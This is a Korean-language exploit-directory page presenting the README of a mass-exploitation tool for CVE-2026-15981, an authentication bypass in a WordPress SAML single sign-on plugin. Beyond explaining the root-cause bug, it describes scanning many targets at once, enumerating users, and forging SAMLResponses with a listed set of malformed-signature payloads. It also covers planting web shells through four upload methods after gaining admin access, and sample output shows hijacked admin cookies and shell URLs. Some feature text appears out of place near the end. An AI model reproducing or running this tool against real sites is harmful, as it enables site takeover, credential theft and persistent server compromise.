Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - SAMLResponse 매개변수를 통한 인증되지 않은 인증 우회 | Kitploit
도구/GitHubGitHub/nxploited/cve-2026-15981
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration Testing
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - SAMLResponse 매개변수를 통한 인증되지 않은 인증 우회

저장소 보기
25일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - SAMLResponse 매개변수를 통한 인증되지 않은 인증 우회

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — 인증되지 않은 인증 우회

개념 증명 (Proof-of-Concept) 익스플로잇
잘못된 서명 → `openssl_verify()`가 `-1` 반환 → PHP 느슨한 형변환으로 `true` 처리 → Administrator 권한으로 `wp_set_auth_cookie()` 호출


취약점 개요

필드세부 정보
CVE IDCVE-2026-15981
영향받는 플러그인miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
영향받는 버전5.4.4를 포함한 모든 버전
유형인증되지 않은 인증 우회 (Unauthenticated Authentication Bypass)
CWECWE-287: 부적절한 인증 (Improper Authentication) / CWE-305: 주요 약점으로 인한 인증 우회 (Authentication Bypass by Primary Weakness)
CVSS 3.19.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
인증필요 없음

설명

WordPress용 SAML Single Sign On – SSO Login 플러그인은 5.4.4를 포함한 모든 버전에서 인증 우회(Authentication Bypass) 취약점에 노출됩니다. 이는 mo_saml_validate_signature() 함수가 PHP의 openssl_verify()가 반환하는 원시 3-상태(tri-state) 정수에 대해 **느슨한 부울 검사(loose boolean check)**를 수행하기 때문이며, 오류 반환 값인 -1이 truthy로 평가되어 서명 검증이 성공한 것으로 처리됩니다.

이로 인해 인증되지 않은 공격자는 공격자가 제어하는 NameID와 의도적으로 손상된(malformed) 서명 값을 포함한 조작된 SAMLResponse를 제출하여 OpenSSL 처리 오류를 유발함으로써 관리자를 포함한 모든 기존 WordPress 사용자로 로그인할 수 있습니다. 검증을 완전히 우회하여 대상 계정에 대해 wp_set_auth_cookie()가 호출되도록 하는 것입니다.

근본 원인

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

수정은 사소합니다 — if ($result) 대신 if ($result === 1)을 사용하면 됩니다 — 하지만 이 결함이 미치는 영향은 완전한 인증 우회입니다.


기능

  • 다중 대상 대량 스캔 — 대상 목록의 동시 처리
  • 전체 WordPress 핑거프린팅 — 진행 전에 WordPress 확인
  • 플러그인 탐지 및 버전 확인 — miniOrange SAML SSO를 식별하고 버전 ≤ 5.4.4 검증
  • SP 메타데이터 발견 — ?option=mosaml_metadata에서 Entity ID 및 ACS URL 추출
  • 포괄적인 사용자 열거:
    • WP REST API (/wp-json/wp/v2/users)
    • ID별 REST 쿼리 (ID 1–10)
    • 작성자 아카이브 리다이렉트 (/?author=N)
    • HTML 본문 패턴 매칭
    • 도메인 기반 폴백 + 일반적인 관리자 이름
  • IdP 발급자(issuer) 발견 — ?option=saml_user_login 리다이렉트를 추적하여 IdP 기본 URL 추출
  • SAMLResponse 위조 엔진:
    • lxml을 통한 올바른 Exclusive C14N 정규화
    • 올바른 Digest 계산 (SHA-1/SHA-256/SHA-384/SHA-512)
    • SAML 명세에 따라 </Issuer> 다음에 서명 요소 주입
    • openssl_verify() = -1을 유발하도록 설계된 12개 이상의 손상된 서명 페이로드
    • 사용자 × 발급자 × 알고리즘 × 서명 × audience 플래그 × SP 엔티티 ID 조합 반복
  • 세션 검증 — 각 시도 후 wordpress_logged_in_* 쿠키 확인
  • 관리자 역할 확인 — /wp-admin/, , 접근 검증

요구 사항

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

SAML Assertion의 올바른 Exclusive C14N 정규화를 위해서는 lxml이 필수입니다.


사용 방법

root@kitploit:~
python CVE-2026-15981.py

다음을 입력하라는 메시지가 표시됩니다:

프롬프트설명기본값
대상 파일한 줄에 대상 하나씩 포함된 텍스트 파일 경로list.txt
스레드동시 작업자 수 (1–100)5

대상 파일 형식

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

한 줄에 하나의 URL을 입력합니다. 스킴(scheme)이 지정되지 않은 경우 기본적으로 HTTP가 사용됩니다.


출력

터미널

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

각 대상은 7개의 라벨이 지정된 단계로 진행됩니다:

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

결과 파일

파일내용
sms.txt확인된 관리자 세션당 한 줄 — 타임스탬프, 대상, 사용자, 쿠키, 셸 URL, 발급자, 서명 방법
sms_debug.json모든 대상에 대한 전체 진단 JSON — 시도 횟수 및 실패 분류 포함

결과 라인 형식

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

요약

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

공격 파이프라인

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

잘못된 서명 페이로드

이 익스플로잇은 openssl_verify() = -1을 유발하도록 특별히 제작된 12개 이상의 서명 페이로드를 탑재하고 있습니다:

각 페이로드는 SHA-1 및 SHA-256 알고리즘 URI와 결합되어, Audience 제한을 적용하거나 적용하지 않은 상태로 여러 SP 엔티티 ID에 걸쳐 테스트됩니다 — 모든 OpenSSL 버전에서 -1 반환 경로에 도달할 확률을 극대화합니다.


면책 조항

이 도구는 승인된 보안 테스트 및 교육 연구 목적으로만 제공됩니다. 소유하고 있거나 테스트에 대한 명시적인 서면 승인을 받은 시스템에 대해서만 사용하십시오.

컴퓨터 시스템에 대한 무단 접근은 범죄 행위입니다. 저자는 이 소프트웨어의 사용으로 인해 발생하는 오용, 손상 또는 법적 결과에 대해 일체 책임을 지지 않습니다. 해당 관할권에서 적용되는 모든 법률 및 규정을 준수하는 것은 전적으로 사용자의 책임입니다.


By: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

도구 다운로드
/wp-admin/users.php
/wp-admin/plugins.php
  • 프로필 추출 — /wp-admin/profile.php에서 사용자 이름 및 이메일 읽기
  • 관리자 세션 확보 시 4가지 셸 업로드 방법:
    • M1 — plugin-install.php를 통한 플러그인 ZIP 업로드
    • M2 — /wp-json/wp/v2/plugins를 통한 REST API 플러그인 업로드
    • M3 — 테마/플러그인 편집기 파일 쓰기
    • M4 — 미디어 비동기 업로드
  • 셸 실행 검증 — 응답 본문에서 Nx-zD 서명 확인
  • 진단 엔진 — 실패 원인 분류 (DIGEST_FAIL, ISSUER, AUDIENCE, TIME 등)
  • 디버그 JSON 출력 — 분석을 위한 대상별 전체 진단 로그
  • 페이로드설명
    0xFF * 2560xFF 256바이트 — 잘못된 PKCS#1 패딩
    0xFF * 384RSA-3072 키 크기용 384바이트
    0xFF * 512RSA-4096 키 크기용 512바이트
    0xFF * 128더 작은 키 크기용 짧은 버퍼
    0xFF * 64최소한의 잘못된 패딩
    0x00 0x01 0xFF*254PKCS#1 v1.5처럼 보이지만 잘못된 구조
    0x00 0x01 0xFF*126더 짧은 PKCS#1 유사 구조
    null_2Bnull에 인접한 2바이트
    rand_3B / rand_7B랜덤 바이트 — 구문 분석 오류 유발
    asn1_bad잘못된 ASN.1 DER 시퀀스
    ff_1B단일 0xFF 바이트